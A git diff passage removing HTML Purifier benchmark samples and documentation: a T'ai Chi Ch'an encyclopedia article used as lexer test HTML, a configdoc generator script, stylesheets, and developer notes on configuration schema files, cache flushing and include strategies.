        The order of seniority is as listed above. The order of popularity is Yang, Wu, Chen, Sun, and Wu/Hao. The first five major family styles share much underlying theory, but differ in their approaches to training.

        -

        In the modern world there are now dozens of new styles, hybrid styles and offshoots of the main styles, but the five family schools are the groups recognised by the international community as being orthodox. For example, there are several groups teaching what they call Wu Tang style T'ai Chi Ch'an (??????). The best known modern style going by the name Wu Tang has gained some publicity internationally, especially in the UK and Europe, but was originally taught by a senior student of the Wu (?) style.

        - -

        The designation Wu Tang Ch'an is also used to broadly distinguish internal or nei chia martial arts (said to be a specialty of the monasteries at Wu Tang Shan) from what are known as the external or wei chia styles based on Shaolinquan kung fu, although that distinction is sometimes disputed by individual schools. In this broad sense, among many T'ai Chi schools all styles of T'ai Chi (as well as related arts such as Pa Kua Chang and Hsing-i Ch'an) are therefore considered to be "Wu Tang style" martial arts. The schools that designate themselves "Wu Tang style" relative to the family styles mentioned above mostly claim to teach an "original style" they say was formulated by a Taoist monk called Zhang Sanfeng and taught by him in the Taoist monasteries at Wu Tang Shan. Some consider that what is practised under that name today may be a modern back-formation based on stories and popular veneration of Zhang Sanfeng (see below) as well as the martial fame of the Wu Tang monastery (there are many other martial art styles historically associated with Wu Tang besides T'ai Chi).

        - -

        When tracing T'ai Chi Ch'an's formative influences to Taoist and Buddhist monasteries, one has little more to go on than legendary tales from a modern historical perspective, but T'ai Chi Ch'an's practical connection to and dependence upon the theories of Sung dynasty Neo-Confucianism (a conscious synthesis of Taoist, Buddhist and Confucian traditions, esp. the teachings of Mencius) is readily apparent to its practitioners. The philosophical and political landscape of that time in Chinese history is fairly well documented, even if the origin of the art later to become known as T'ai Chi Ch'an in it is not. T'ai Chi Ch'an's theories and practice are therefore believed by some schools to have been formulated by the Taoist monk Zhang Sanfeng in the 12th century, a time frame fitting well with when the principles of the Neo-Confucian school were making themselves felt in Chinese intellectual life. Therefore the didactic story is told that Zhang Sanfeng as a young man studied Tao Yin (??, Pinyin daoyin) breathing exercises from his Taoist teachers and martial arts at the Buddhist Shaolin monastery, eventually combining the martial forms and breathing exercises to formulate the soft or internal principles we associate with T'ai Chi Ch'an and related martial arts. Its subsequent fame attributed to his teaching, Wu Tang monastery was known thereafter as an important martial center for many centuries, its many styles of internal kung fu preserved and refined at various Taoist temples.

        - - -

        -

        Family tree

        -

        This family tree is not comprehensive.

        -
        -LEGENDARY FIGURES
        -   |
        -Zhang Sanfeng*
        -circa 12th century
        -NEI CHIA
        -
        -   |
        -Wang Zongyue*
        -T'AI CHI CH'AN
        -   |
        -THE 5 MAJOR CLASSICAL FAMILY STYLES
        -   |
        -Chen Wangting
        -1600-1680 9th generation Chen
        -CHEN STYLE
        -   |
        -   +-------------------------------------------------------------------+
        -   |                                                                   |
        -Chen Changxing                                                     Chen Youben
        -1771-1853 14th generation Chen                                     circa 1800s 14th generation Chen
        -Chen Old Frame                                                     Chen New Frame
        -   |                                                                   |
        -
        -Yang Lu-ch'an                                                      Chen Qingping
        -1799-1872                                                          1795-1868
        -YANG STYLE                                                         Chen Small Frame, Zhao Bao Frame
        -   |                                                                   |
        -   +---------------------------------+-----------------------------+   |
        -   |                                 |                             |   |
        -Yang Pan-hou                      Yang Chien-hou                   Wu Yu-hsiang
        -1837-1892                         1839-1917                        1812-1880
        -Yang Small Frame                     |                             WU/HAO STYLE
        -
        -   |                                 +-----------------+                      |
        -   |                                 |                 |                      |
        -Wu Ch'uan-y                      Yang Shao-hou     Yang Ch'eng-fu          Li I-y
        -1834-1902                         1862-1930         1883-1936               1832-1892
        -   |                              Yang Small Frame  Yang Big Frame            |
        -Wu Chien-ch'an                                        |                    Hao Wei-chen
        -
        -1870-1942                                           Yang Shou-chung         1849-1920
        -WU STYLE                                            1910-1985                 |
        -108 Form                                                                      |
        -   |                                                                        Sun Lu-t'ang
        -Wu Kung-i                                                                   1861-1932
        -1900-1970                                                                   SUN STYLE
        -
        -   |                                                                          |
        -Wu Ta-kuei                                                                  Sun Hsing-i
        -1923-1970                                                                   1891-1929
        -
        -MODERN FORMS
        -
        -from Yang Ch`eng-fu
        -        |
        -        |
        -        |
        -        +--------------+
        -        |              |
        -  Cheng Man-ch'ing     |
        -  1901-1975            |
        -  Short (37) Form      |
        -                       |
        -              Chinese Sports Commission
        -              1956
        -              Beijing 24 Form
        -              .
        -              .
        -              1989
        -              42 Competition Form
        -
        -              (Wushu competition form combined from Sun, Wu, Chen, and Yang styles)
        -
        - -

        -

        Notes to Family tree table

        -

        Names denoted by an asterisk are legendary or semilegendary figures in the lineage, which means their involvement in the lineage, while accepted by most of the major schools, isn't independently verifiable from known historical records.

        -

        The Cheng Man-ch'ing and Chinese Sports Commission short forms are said to be derived from Yang family forms, but neither are recognized as Yang family T'ai Chi Ch'an by current Yang family teachers. The Chen, Yang and Wu families are now promoting their own shortened demonstration forms for competitive purposes.

        - - -

        -

        Modern T'ai Chi

        -
        -
        Yang style in Shanghai -
        -
        Enlarge
        -Yang style in Shanghai
        -
        -
        -

        T'ai Chi has become very popular in the last twenty years or so, as the baby boomers age and T'ai Chi's reputation for ameliorating the effects of aging becomes more well-known. Hospitals, clinics, community and senior centers are all hosting T'ai Chi classes in communities around the world. As a result of this popularity, there has been some divergence between those who say they practice T'ai Chi primarily for fighting, those who practice it for its aesthetic appeal (as in the shortened, modern, theatrical "Taijiquan" forms of wushu, see below), and those who are more interested in its benefits to physical and mental health. The wushu aspect is primarily for show; the forms taught for those purposes are designed to earn points in competition and are mostly unconcerned with either health maintenance or martial ability. More traditional stylists still see the two aspects of health and martial arts as equally necessary pieces of the puzzle, the yin and yang of T'ai Chi Ch'an. The T'ai Chi "family" schools therefore still present their teachings in a martial art context even though the majority of their students nowadays profess that they are primarily interested in training for the claimed health benefits.

        - -

        Along with Yoga, it is one of the fastest growing fitness and health maintenance activities, in terms of numbers of students enrolling in classes. Since there is no universal certification process and most Westerners haven't seen very much T'ai Chi and don't know what to look for, practically anyone can learn or even make up a few moves and call themselves a teacher. This is especially prevalent in the New Age community. Relatively few of these teachers even know that there are martial applications to the T'ai Chi forms. Those who do know that it is a martial art usually don't teach martially themselves. If they do teach self-defense, it is often a mixture of motions which the teachers think look like T'ai Chi Ch'an with some other system. This is especially evident in schools located outside of China. While this phenomenon may have made some external aspects of T'ai Chi available for a wider audience, the traditional T'ai Chi family schools see the martial focus as a fundamental part of their training, both for health and self-defense purposes. They claim that while the students may not need to practice martial applications themselves to derive a benefit from T'ai Chi training, they assert that T'ai Chi teachers at least should know the martial applications to ensure that the movements they teach are done correctly and safely by their students. Also, working on the ability to protect oneself from physical attack (one of the most stressful things that can happen to a person) certainly falls under the category of complete "health maintenance." For these reasons they claim that a school not teaching those aspects somewhere in their syllabus cannot be said to be actually teaching the art itself, and will be much less likely to be able to reproduce the full health benefits that made T'ai Chi's reputation in the first place.

        - -

        -

        Modern forms

        - -
        -
        Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA). -
        -
        Enlarge
        -Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA).
        -
        -
        - -

        In order to standardize T'ai Chi Ch'an for wushu tournament judging, and because many of the family T'ai Chi Ch'an teachers had either moved out of China or had been forced to stop teaching after the Communist regime was established in 1949, the government sponsored Chinese Sports Committee brought together four of their wushu teachers to truncate the Yang family hand form to 24 postures in 1956. They wanted to somehow retain the look of T'ai Chi Ch'an but make an easy to remember routine that was less difficult to teach and much less difficult to learn than longer (generally 88 to 108 posture) classical solo hand forms. In 1976, they developed a slightly longer form also for the purposes of demonstration that still didn't involve the complete memory, balance and coordination requirements of the traditional forms. This was a combination form, the Combined 48 Forms that were created by three wushu coaches headed by Professor Men Hui Feng. The combined forms were created based on simplifying and combining some features of the classical forms from four of the original styles; Ch'en, Yang, Wu, and Sun. Even though shorter modern forms don't have the conditioning benefits of the classical forms, the idea was to take what they felt were distinctive cosmetic features of these styles and to express them in a shorter time for purposes of competition.

        - -

        As T'ai Chi again became popular on the Mainland, competitive forms were developed to be completed within a 6 minute time limit. In the late 1980s, the Chinese Sports Committee standardized many different competition forms. It had developed sets said to represent the four major styles as well as combined forms. These five sets of forms were created by different teams, and later approved by a committee of wushu coaches in China. All sets of forms thus created were named after their style, e.g., the Ch'en Style National Competition Form is the 56 Forms, and so on. The combined forms are The 42 Form or simply the Competition Form, as it is known in China. In the 11th Asian Games of 1990, wushu was included as an item for competition for the first time with the 42 Form being chosen to represent T'ai Chi. The International Wushu Federation (IWUF) has applied for wushu to be part of the Olympic games. If accepted, it is likely that T'ai Chi and wushu will be represented as demonstration events in 2008.

        - -

        Representatives of the original T'ai Chi families do not teach the forms developed by the Chinese Sports Committee. T'ai Chi Ch'an has historically been seen by them as a martial art, not a sport, with competitions mostly entered as a hobby or to promote one's school publicly, but with little bearing on measuring actual accomplishment in the art. Their criticisms of modern forms include that the modern, "government" routines have no standardized, internally consistent training requirements. Also, that people studying competition forms rarely train pushing hands or other power generation trainings vital to learning the martial applications of T'ai Chi Ch'an and thereby lack the quality control traditional teachers maintain is essential for achieving the full benefits from both the health and the martial aspect of traditional T'ai Chi training.

        - -

        -

        Health benefits

        -

        Researchers have found that long-term T'ai Chi practice had favorable effects on the promotion of balance control, flexibility and cardiovascular fitness and reduced the risk of falls in elders. The studies also reported reduced pain, stress and anxiety in healthy subjects. Other studies have indicated improved cardiovascular and respiratory function in healthy subjects as well as those who had undergone coronary artery bypass surgery. Patients also benefited from T'ai Chi who suffered from heart failure, high blood pressure, heart attacks, arthritis and multiple sclerosis.

        -

        T'ai Chi has also been shown to reduce the symptoms of young Attention Deficit and Hyperactivity Disorder (ADHD) sufferers. T'ai Chi's gentle, low impact, movements surprisingly burn more calories than surfing and nearly as many as downhill skiing. T'ai Chi also boosts aspects of the immune system's function very significantly, and has been shown to reduce the incidence of anxiety, depression, and overall mood disturbance. (See research citations listed below.)

        - -

        A pilot study has found evidence that T'ai Chi and related qigong helps reduce the severity of diabetes.[1]

        - -

        -

        Citations to medical research

        -
          -
        • Wolf SL, Sattin RW, Kutner M. Intense T'ai Chi exercise training and fall occurrences in older, transitionally frail adults: a randomized, controlled trial. J Am Geriatr Soc. 2003 Dec; 51(12): 1693-701. PMID 14687346
        • -
        • Wang C, Collet JP, Lau J. The effect of Tai Chi on health outcomes in patients with chronic conditions: a systematic review. Arch Intern Med. 2004 Mar 8;164(5):493-501. PMID 15006825
        • - -
        • Search a listing of articles relating to the FICSIT trials and T'ai Chi [2]
        • -
        • Hernandez-Reif, M., Field, T.M., & Thimas, E. (2001). Attention deficit hyperactivity disorder: benefits from Tai Chi. Journal of Bodywork & Movement Therapies, 5(2):120-3, 2001 Apr, 5(23 ref), 120-123
        • -
        • Calorie Burning Chart [3]
        • -
        • Tai Chi boosts T-Cell counts in immune system [4]
        • -
        • Tai Chi, depression, anxiety, and mood disturbance (American Psychological Association) Journal of Psychosomatic Research, 1989 Vol 33 (2) 197-206
        • - -
        • A comprehensive listing of Tai Chi medical research links [5]
        • -
        • References to medical publications [6]
        • -
        • Tai Chi a promising remedy for diabetes, Australian Broadcasting Corporation, 20 December, 2005 - Pilot study of Qigong and tai chi in diabetes sufferers.
        • -
        • Health Research Articles on "Tai Chi as Health Therapy" for many issues, i.e. ADHD, Cardiac Health & Rehabilitation, Diabetes, High Blood Pressure, Menopause, Bone Loss, Weight Loss, etc.[7]
        • -
        - - -

        -

        See also

        - - -

        -

        External links

        - - - - - - - -
        -
        -
        -
        -
        -
        -
        Views
        - -
        -
        -
        Personal tools
        - -
        - - - - - - -
        -
        In other languages
        - -
        - -
        -
        - - -
        - - - - - diff --git a/classes/security/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt b/classes/security/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt deleted file mode 100644 index 0c8ae5d93..000000000 --- a/classes/security/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt +++ /dev/null @@ -1,7 +0,0 @@ -Disclaimer: - -The HTML used in these samples are taken from random websites. I claim -no copyright over these and assert that I may use them like this under -fair use. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/configdoc/generate.php b/classes/security/htmlpurifier/configdoc/generate.php deleted file mode 100644 index e0c4e674a..000000000 --- a/classes/security/htmlpurifier/configdoc/generate.php +++ /dev/null @@ -1,64 +0,0 @@ - true -)); - -$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); -$interchange = new HTMLPurifier_ConfigSchema_Interchange(); -$builder->buildDir($interchange); -$loader = dirname(__FILE__) . '/../config-schema.php'; -if (file_exists($loader)) include $loader; -$interchange->validate(); - -$style = 'plain'; // use $_GET in the future, careful to validate! -$configdoc_xml = dirname(__FILE__) . '/configdoc.xml'; - -$xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); -$xml_builder->openURI($configdoc_xml); -$xml_builder->build($interchange); -unset($xml_builder); // free handle - -$xslt = new ConfigDoc_HTMLXSLTProcessor(); -$xslt->importStylesheet(dirname(__FILE__) . "/styles/$style.xsl"); -$output = $xslt->transformToHTML($configdoc_xml); - -if (!$output) { - echo "Error in generating files\n"; - exit(1); -} - -// write out -file_put_contents(dirname(__FILE__) . "/$style.html", $output); - -if (php_sapi_name() != 'cli') { - // output (instant feedback if it's a browser) - echo $output; -} else { - echo "Files generated successfully.\n"; -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/configdoc/styles/plain.css b/classes/security/htmlpurifier/configdoc/styles/plain.css deleted file mode 100644 index 7af80d061..000000000 --- a/classes/security/htmlpurifier/configdoc/styles/plain.css +++ /dev/null @@ -1,44 +0,0 @@ - -body {margin:0;padding:0;} -#content { - margin:1em auto; - max-width: 47em; - width: expression(document.body.clientWidth > - 85 * parseInt(document.body.currentStyle.fontSize) ? - "54em": "auto"); -} - -table {border-collapse:collapse;} -table td, table th {padding:0.2em;} - -table.constraints {margin:0 0 1em;} -table.constraints th { - text-align:right;padding-left:0.4em;padding-right:0.4em;background:#EEE; - width:8em;vertical-align:top;} -table.constraints td {padding-right:0.4em; padding-left: 1em;} -table.constraints td ul {padding:0; margin:0; list-style:none;} -table.constraints td pre {margin:0;} - -#tocContainer {position:relative;} -#toc {list-style-type:none; font-weight:bold; font-size:1em; margin-bottom:1em;} -#toc li {position:relative; line-height: 1.2em;} -#toc .col-2 {margin-left:50%;} -#toc .col-l {float:left;} -#toc ul {list-style-type:disc; font-weight:normal; padding-bottom:1.2em;} - -.description p {margin-top:0;margin-bottom:1em;} - -#library, h1 {text-align:center; font-family:Garamond, serif; - font-variant:small-caps;} -#library {font-size:1em;} -h1 {margin-top:0;} -h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; - font-size:1.3em; clear:both;} -h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } -h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } - -.deprecated {color: #CCC;} -.deprecated table.constraints th {background:#FFF;} -.deprecated-notice {color: #000; text-align:center; margin-bottom: 1em;} - -/* vim: et sw=4 sts=4 */ diff --git a/classes/security/htmlpurifier/configdoc/styles/plain.xsl b/classes/security/htmlpurifier/configdoc/styles/plain.xsl deleted file mode 100644 index 9b9794e0b..000000000 --- a/classes/security/htmlpurifier/configdoc/styles/plain.xsl +++ /dev/null @@ -1,253 +0,0 @@ - - - - - - - - - - - - - - - - <xsl:value-of select="$title" /> - <xsl:value-of select="/configdoc/title" /> - - - - -
        -
        -

        -
        -

        Table of Contents

        -
          - - - -
        -
        -
        -

        Types

        - -
        - -
        - - -
        - - -
        - type- -

        :

        -
        - -
        -
        -
        - - - - - - - -
      2. - - - col-2 - - - margin-top:-em - - - -
          - - - -
        - -
        - -
      3. -
        -
        - - - - - -
      4. - -
      5. -
        -
        - - - - -
        - - -

        No configuration directives defined for this namespace.

        -
        -
        -
        - -

        -
        - -
        - -
        -
        - - -
        - directive deprecated - - - -
        -
        - - - -

        -
        - - - - - - - - - - - - - - - -
        -
        - -
  • Aliases - - , - - -
    Used in -
      - -
    -
    Version added
    Type - - type type- - - #type- - - - (or null) - - -
    Allowed values - , - "" -
    Default
    External deps -
      - -
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    KeyExampleDescription
    IDTest.SampleThe name of the directive, in the form Namespace.Directive - (implicitly the first line)
    TYPEstring/nullThe type of variable this directive accepts. See below for - details. You can also add /null to the end of - any basic type to allow null values too.
    DEFAULTNULLA parseable PHP expression of the default value.
    DESCRIPTIONThis is a...An HTML description of what this directive does.
    VERSION3.1.0Recommended. The version of HTML Purifier this directive was added. - Directives that have been around since 1.0.0 don't have this, - but any new ones should.
    ALIASESTest.ExampleOptional. A comma separated list of aliases for this directive. - This is most useful for backwards compatibility and should - not be used otherwise.
    ALLOWED'foo', 'bar'Optional. Set of allowed value for a directive, - a comma separated list of parseable PHP expressions. This - is only allowed string, istring, text and itext TYPEs.
    VALUE-ALIASES'baz' => 'bar'Optional. Mapping of one value to another, and - should be a comma separated list of keypair duples. This - is only allowed string, istring, text and itext TYPEs.
    DEPRECATED-VERSION3.1.0Not shown. Indicates that the directive was - deprecated this version.
    DEPRECATED-USETest.NewDirectiveNot shown. Indicates what new directive should be - used instead. Note that the directives will functionally be - different, although they should offer the same functionality. - If they are identical, use an alias instead.
    EXTERNALCSSTidyNot shown. Indicates if there is an external library - the user will need to download and install to use this configuration - directive. As of right now, this is merely a Google-able name; future - versions may also provide links and instructions.
    - -

    - Some notes on format and style: -

    - -
      -
    • - Each of these keys can be expressed in the short format - (KEY: Value) or the long format - (--KEY-- with value beneath). You must use the - long format if multiple lines are needed, or if a long format - has been used already (that's why ALIASES in our - example is in the long format); otherwise, it's user preference. -
    • -
    • - The HTML descriptions should be wrapped at about 80 columns; do - not rely on editor word-wrapping. -
    • -
    - -

    - Also, as promised, here is the set of possible types: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeExampleDescription
    string'Foo'String without newlines
    istring'foo'Case insensitive ASCII string without newlines
    text"A\nb"String with newlines
    itext"a\nb"Case insensitive ASCII string without newlines
    int23Integer
    float3.0Floating point number
    booltrueBoolean
    lookuparray('key' => true)Lookup array, used with isset($var[$key])
    listarray('f', 'b')List array, with ordered numerical indexes
    hasharray('key' => 'val')Associative array of keys to values
    mixednew stdclassAny PHP variable is fine
    - -

    - The examples represent what will be returned out of the configuration - object; users have a little bit of leeway when setting configuration - values (for example, a lookup value can be specified as a list; - HTML Purifier will flip it as necessary.) These types are defined - in - library/HTMLPurifier/VarParser.php. -

    - -

    - For more information on what values are allowed, and how they are parsed, - consult - library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php, as well - as - library/HTMLPurifier/ConfigSchema/Interchange/Directive.php for - the semantics of the parsed values. -

    - -

    Refreshing the cache

    - -

    - You may have noticed that your directive file isn't doing anything - yet. That's because it hasn't been added to the runtime - HTMLPurifier_ConfigSchema instance. Run - maintenance/generate-schema-cache.php to fix this. - If there were no errors, you're good to go! Don't forget to add - some unit tests for your functionality! -

    - -

    - If you ever make changes to your configuration directives, you - will need to run this script again. -

    -

    Adding in-house schema definitions

    - -

    - Placing stuff directly in HTML Purifier's source tree is generally not a - good idea, so HTML Purifier 4.0.0+ has some facilities in place to make your - life easier. -

    - -

    - The first is to pass an extra parameter to maintenance/generate-schema-cache.php - with the location of your directory (relative or absolute path will do). For example, - if I'm storing my custom definitions in /var/htmlpurifier/myschema, run: - php maintenance/generate-schema-cache.php /var/htmlpurifier/myschema. -

    - -

    - Alternatively, you can create a small loader PHP file in the HTML Purifier base - directory named config-schema.php (this is the same directory - you would place a test-settings.php file). In this file, add - the following line for each directory you want to load: -

    - -
    $builder->buildDir($interchange, '/var/htmlpurifier/myschema');
    - -

    You can even load a single file using:

    - -
    $builder->buildFile($interchange, '/var/htmlpurifier/myschema/MyApp.Directive.txt');
    - -

    Storing custom definitions that you don't plan on sending back upstream in - a separate directory is definitely a good idea! Additionally, picking - a good namespace can go a long way to saving you grief if you want to use - someone else's change, but they picked the same name, or if HTML Purifier - decides to add support for a configuration directive that has the same name.

    - - - -

    Errors

    - -

    - All directive files go through a rigorous validation process - through - library/HTMLPurifier/ConfigSchema/Validator.php, as well - as some basic checks during building. While - listing every error out here is out-of-scope for this document, we - can give some general tips for interpreting error messages. - There are two types of errors: builder errors and validation errors. -

    - -

    Builder errors

    - -
    -

    - Exception: Expected type string, got - integer in DEFAULT in directive hash 'Ns.Dir' -

    -
    - -

    - You can identify a builder error by the keyword "directive hash." - These are the easiest to deal with, because they directly correspond - with your directive file. Find the offending directive file (which - is the directive hash plus the .txt extension), find the - offending index ("in DEFAULT" means the DEFAULT key) and fix the error. - This particular error would occur if your default value is not the same - type as TYPE. -

    - -

    Validation errors

    - -
    -

    - Exception: Alias 3 in valueAliases in directive - 'Ns.Dir' must be a string -

    -
    - -

    - These are a little trickier, because we're not actually validating - your directive file, or even the direct string hash representation. - We're validating an Interchange object, and the error messages do - not mention any string hash keys. -

    - -

    - Nevertheless, it's not difficult to figure out what went wrong. - Read the "context" statements in reverse: -

    - -
    -
    in directive 'Ns.Dir'
    -
    This means we need to look at the directive file Ns.Dir.txt
    -
    in valueAliases
    -
    There's no key actually called this, but there's one that's close: - VALUE-ALIASES. Indeed, that's where to look.
    -
    Alias 3
    -
    The value alias that is equal to 3 is the culprit.
    -
    - -

    - In this particular case, you're not allowed to alias integers values to - strings values. -

    - -

    - The most difficult part is translating the Interchange member variable (valueAliases) - into a directive file key (VALUE-ALIASES), but there's a one-to-one - correspondence currently. If the two formats diverge, any discrepancies - will be described in - library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php. -

    - -

    Internals

    - -

    - Much of the configuration schema framework's codebase deals with - shuffling data from one format to another, and doing validation on this - data. - The keystone of all of this is the HTMLPurifier_ConfigSchema_Interchange - class, which represents the purest, parsed representation of the schema. -

    - -

    - Hand-writing this data is unwieldy, however, so we write directive files. - These directive files are parsed by HTMLPurifier_StringHashParser - into HTMLPurifier_StringHashes, which then - are run through HTMLPurifier_ConfigSchema_InterchangeBuilder - to construct the interchange object. -

    - -

    - From the interchange object, the data can be siphoned into other forms - using HTMLPurifier_ConfigSchema_Builder subclasses. - For example, HTMLPurifier_ConfigSchema_Builder_ConfigSchema - generates a runtime HTMLPurifier_ConfigSchema object, - which HTMLPurifier_Config uses to validate its incoming - data. There is also an XML serializer, which is used to build documentation. -

    - - - - - diff --git a/classes/security/htmlpurifier/docs/dev-flush.html b/classes/security/htmlpurifier/docs/dev-flush.html deleted file mode 100644 index 4a3a78351..000000000 --- a/classes/security/htmlpurifier/docs/dev-flush.html +++ /dev/null @@ -1,68 +0,0 @@ - - - - - - - - Flushing the Purifier - HTML Purifier - - - -

    Flushing the Purifier

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - If you've been poking around the various folders in HTML Purifier, - you may have noticed the maintenance directory. Almost - all of these scripts are devoted to flushing out the various caches - HTML Purifier uses. Normal users don't have to worry about this: - regular library usage is transparent. However, when doing development - work on HTML Purifier, you may find you have to flush one of the - caches. -

    - -

    - As a general rule of thumb, run flush.php whenever you make - any major changes, or when tests start mysteriously failing. - In more detail, run this script if: -

    - -
      -
    • - You added new source files to HTML Purifier's main library. - (see generate-includes.php) -
    • -
    • - You modified the configuration schema (see - generate-schema-cache.php). This usually means - adding or modifying files in HTMLPurifier/ConfigSchema/schema/, - although in rare cases modifying HTMLPurifier/ConfigSchema.php - will also require this. -
    • -
    • - You modified a Definition, or its subsystems. The most usual candidate - is HTMLPurifier/HTMLDefinition.php, which also encompasses - the files in HTMLPurifier/HTMLModule/ as well as if you've - customizing definitions without - the cache disabled. (see flush-generation-cache.php) -
    • -
    • - You modified source files, and have been using the standalone - version from the full installation. (see generate-standalone.php) -
    • -
    - -

    - You can check out the corresponding scripts for more information on what they - do. -

    - - - - diff --git a/classes/security/htmlpurifier/docs/dev-includes.txt b/classes/security/htmlpurifier/docs/dev-includes.txt deleted file mode 100644 index d3382b593..000000000 --- a/classes/security/htmlpurifier/docs/dev-includes.txt +++ /dev/null @@ -1,281 +0,0 @@ - -INCLUDES, AUTOLOAD, BYTECODE CACHES and OPTIMIZATION - -The Problem ------------ - -HTML Purifier contains a number of extra components that are not used all -of the time, only if the user explicitly specifies that we should use -them. - -Some of these optional components are optionally included (Filter, -Language, Lexer, Printer), while others are included all the time -(Injector, URIFilter, HTMLModule, URIScheme). We will stipulate that these -are all developer specified: it is conceivable that certain Tokens are not -used, but this is user-dependent and should not be trusted. - -We should come up with a consistent way to handle these things and ensure -that we get the maximum performance when there is bytecode caches and -when there are not. Unfortunately, these two goals seem contrary to each -other. - -A peripheral issue is the performance of ConfigSchema, which has been -shown take a large, constant amount of initialization time, and is -intricately linked to the issue of includes due to its pervasive use -in our plugin architecture. - -Pros and Cons -------------- - -We will assume that user-based extensions will be included by them. - -Conditional includes: - Pros: - - User management is simplified; only a single directive needs to be set - - Only necessary code is included - Cons: - - Doesn't play nicely with opcode caches - - Adds complexity to standalone version - - Optional configuration directives are not exposed without a little - extra coaxing (not implemented yet) - -Include it all: - Pros: - - User management is still simple - - Plays nicely with opcode caches and standalone version - - All configuration directives are present - Cons: - - Lots of (how much?) extra code is included - - Classes that inherit from external libraries will cause compile - errors - -Build an include stub (Let's do this!): - Pros: - - Only necessary code is included - - Plays nicely with opcode caches and standalone version - - require (without once) can be used, see above - - Could further extend as a compilation to one file - Cons: - - Not implemented yet - - Requires user intervention and use of a command line script - - Standalone script must be chained to this - - More complex and compiled-language-like - - Requires a whole new class of system-wide configuration directives, - as configuration objects can be reused - - Determining what needs to be included can be complex (see above) - - No way of autodetecting dynamically instantiated classes - - Might be slow - -Include stubs -------------- - -This solution may be "just right" for users who are heavily oriented -towards performance. However, there are a number of picky implementation -details to work out beforehand. - -The number one concern is how to make the HTML Purifier files "work -out of the box", while still being able to easily get them into a form -that works with this setup. As the codebase stands right now, it would -be necessary to strip out all of the require_once calls. The only way -we could get rid of the require_once calls is to use __autoload or -use the stub for all cases (which might not be a bad idea). - - Aside - ----- - An important thing to remember, however, is that these require_once's - are valuable data about what classes a file needs. Unfortunately, there's - no distinction between whether or not the file is needed all the time, - or whether or not it is one of our "optional" files. Thus, it is - effectively useless. - - Deprecated - ---------- - One of the things I'd like to do is have the code search for any classes - that are explicitly mentioned in the code. If a class isn't mentioned, I - get to assume that it is "optional," i.e. included via introspection. - The choice is either to use PHP's tokenizer or use regexps; regexps would - be faster but a tokenizer would be more correct. If this ends up being - unfeasible, adding dependency comments isn't a bad idea. (This could - even be done automatically by search/replacing require_once, although - we'd have to manually inspect the results for the optional requires.) - - NOTE: This ends up not being necessary, as we're going to make the user - figure out all the extra classes they need, and only include the core - which is predetermined. - -Using the autoload framework with include stubs works nicely with -introspective classes: instead of having to have require_once inside -the function, we can let autoload do the work; we simply need to -new $class or accept the object straight from the caller. Handling filters -becomes a simple matter of ticking off configuration directives, and -if ConfigSchema spits out errors, adding the necessary includes. We could -also use the autoload framework as a fallback, in case the user forgets -to make the include, but doesn't really care about performance. - - Insight - ------- - All of this talk is merely a natural extension of what our current - standalone functionality does. However, instead of having our code - perform the includes, or attempting to inline everything that possibly - could be used, we boot the issue to the user, making them include - everything or setup the fallback autoload handler. - -Configuration Schema --------------------- - -A common deficiency for all of the conditional include setups (including -the dynamically built include PHP stub) is that if one of this -conditionally included files includes a configuration directive, it -is not accessible to configdoc. A stopgap solution for this problem is -to have it piggy-back off of the data in the merge-library.php script -to figure out what extra files it needs to include, but if the file also -inherits classes that don't exist, we're in big trouble. - -I think it's high time we centralized the configuration documentation. -However, the type checking has been a great boon for the library, and -I'd like to keep that. The compromise is to use some other source, and -then parse it into the ConfigSchema internal format (sans all of those -nasty documentation strings which we really don't need at runtime) and -serialize that for future use. - -The next question is that of format. XML is very verbose, and the prospect -of setting defaults in it gives me willies. However, this may be necessary. -Splitting up the file into manageable chunks may alleviate this trouble, -and we may be even want to create our own format optimized for specifying -configuration. It might look like (based off the PHPT format, which is -nicely compact yet unambiguous and human-readable): - -Core.HiddenElements -TYPE: lookup -DEFAULT: array('script', 'style') // auto-converted during processing ---ALIASES-- -Core.InvisibleElements, Core.StupidElements ---DESCRIPTION-- -

    - Blah blah -

    - -The first line is the directive name, the lines after that prior to the -first --HEADER-- block are single-line values, and then after that -the multiline values are there. No value is restricted to a particular -format: DEFAULT could very well be multiline if that would be easier. -This would make it insanely easy, also, to add arbitrary extra parameters, -like: - -VERSION: 3.0.0 -ALLOWED: 'none', 'light', 'medium', 'heavy' // this is wrapped in array() -EXTERNAL: CSSTidy // this would be documented somewhere else with a URL - -The final loss would be that you wouldn't know what file the directive -was used in; with some clever regexps it should be possible to -figure out where $config->get($ns, $d); occurs. Reflective calls to -the configuration object is mitigated by the fact that getBatch is -used, so we can simply talk about that in the namespace definition page. -This might be slow, but it would only happen when we are creating -the documentation for consumption, and is sugar. - -We can put this in a schema/ directory, outside of HTML Purifier. The serialized -data gets treated like entities.ser. - -The final thing that needs to be handled is user defined configurations. -They can be added at runtime using ConfigSchema::registerDirectory() -which globs the directory and grabs all of the directives to be incorporated -in. Then, the result is saved. We may want to take advantage of the -DefinitionCache framework, although it is not altogether certain what -configuration directives would be used to generate our key (meta-directives!) - - Further thoughts - ---------------- - Our master configuration schema will only need to be updated once - every new version, so it's easily versionable. User specified - schema files are far more volatile, but it's far too expensive - to check the filemtimes of all the files, so a DefinitionRev style - mechanism works better. However, we can uniquely identify the - schema based on the directories they loaded, so there's no need - for a DefinitionId until we give them full programmatic control. - - These variables should be directly incorporated into ConfigSchema, - and ConfigSchema should handle serialization. Some 